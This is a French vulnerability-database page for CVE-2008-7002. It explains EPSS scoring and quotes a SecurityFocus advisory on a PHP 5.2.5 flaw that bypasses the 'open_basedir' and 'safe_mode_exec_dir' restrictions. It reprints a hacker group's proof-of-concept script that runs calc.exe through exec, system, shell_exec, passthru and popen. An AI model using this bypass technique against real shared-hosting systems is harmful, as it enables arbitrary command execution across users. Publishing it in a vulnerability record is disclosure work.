CVE-2008-7002 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/31064/info PHP is prone to 'safe_mode_exec_dir' and 'open_basedir' restriction-bypass vulnerabilities. Successful exploits could allow an attacker to execute arbitrary code. These vulnerabilities would be an issue in shared-hosting configurations where multiple users can create and execute arbitrary PHP script code; in such cases, the 'safe_mode' and 'open_basedir' restrictions are expected to isolate users from each other. PHP 5.2.5 is vulnerable; other versions may also be affected. <?php print_r('---------------------------------------------------------------------------------------- PHP 5.2.5 Multiple Function "open_basedir" and "safe_mode_exec_dir" Restriction Bypass ---------------------------------------------------------------------------------------- ------------------------------------- author: Ciph3r mail: [email protected] site: www.expl0iters.ir S4rK3VT Hacking TEAM we are : Ciph3r & Rake Sp Tanx2 : Iranian Hacker & kurdish Security TEAM ------------------------------------- ------------------------------------- Remote execution: No Local execution: Yes ------------------------------------- --------------------------------------------- PHP.INI settings: safe_mode = Off disable_functions = open_basedir = htdocs <-- bypassed safe_mode_exec_dir = htdocs <-- bypassed --------------------------------------------- ------------------------------------------------------------------------------------------- Description: Functions "exec", "system", "shell_exec", "passthru", "popen", if invoked from local, are not properly checked and bypass "open_basedir" and "safe_mode_exec_dir" restrictions: ------------------------------------------------------------------------------------------- '); $option = $argv[1]; if ($option=="1"){ exec('c:/windows/system32/calc.exe'); echo '"exec" test completed'; elseif($option=="2"){ system('c:/windows/system32/calc.exe'); echo '"system" test completed'; } elseif($option=="3"){ shell_exec('c:/windows/system32/calc.exe'); echo '"shell_exec test" completed'; } elseif($option=="4"){ passthru('c:/windows/system32/calc.exe'); echo '"passthru" test completed'; } elseif($option=="5"){ popen('c:/windows/system32/calc.exe','r'); echo '"popen" test completed'; } elseif($option==6){ exec('c:/windows/system32/calc.exe'); echo "exec test completed\n"; system('c:/windows/system32/calc.exe'); echo "system test completed\n"; shell_exec('c:/windows/system32/calc.exe'); echo "shell_exec test completed\n"; passthru('c:/windows/system32/calc.exe'); echo "passthru test completed\n"; popen('c:/windows/system32/calc.exe','r'); echo "popen test completed\n"; } else{ print_r('-------------------------------------- Usage: php poc.php 1 => for "exec" test php poc.php 2 => for "system" test php poc.php 3 => for "shell_exec" test php poc.php 4 => for "passthru" test php poc.php 5 => for "popen" test php poc.php 6 => for "all in one" test -------------------------------------- '); } ?>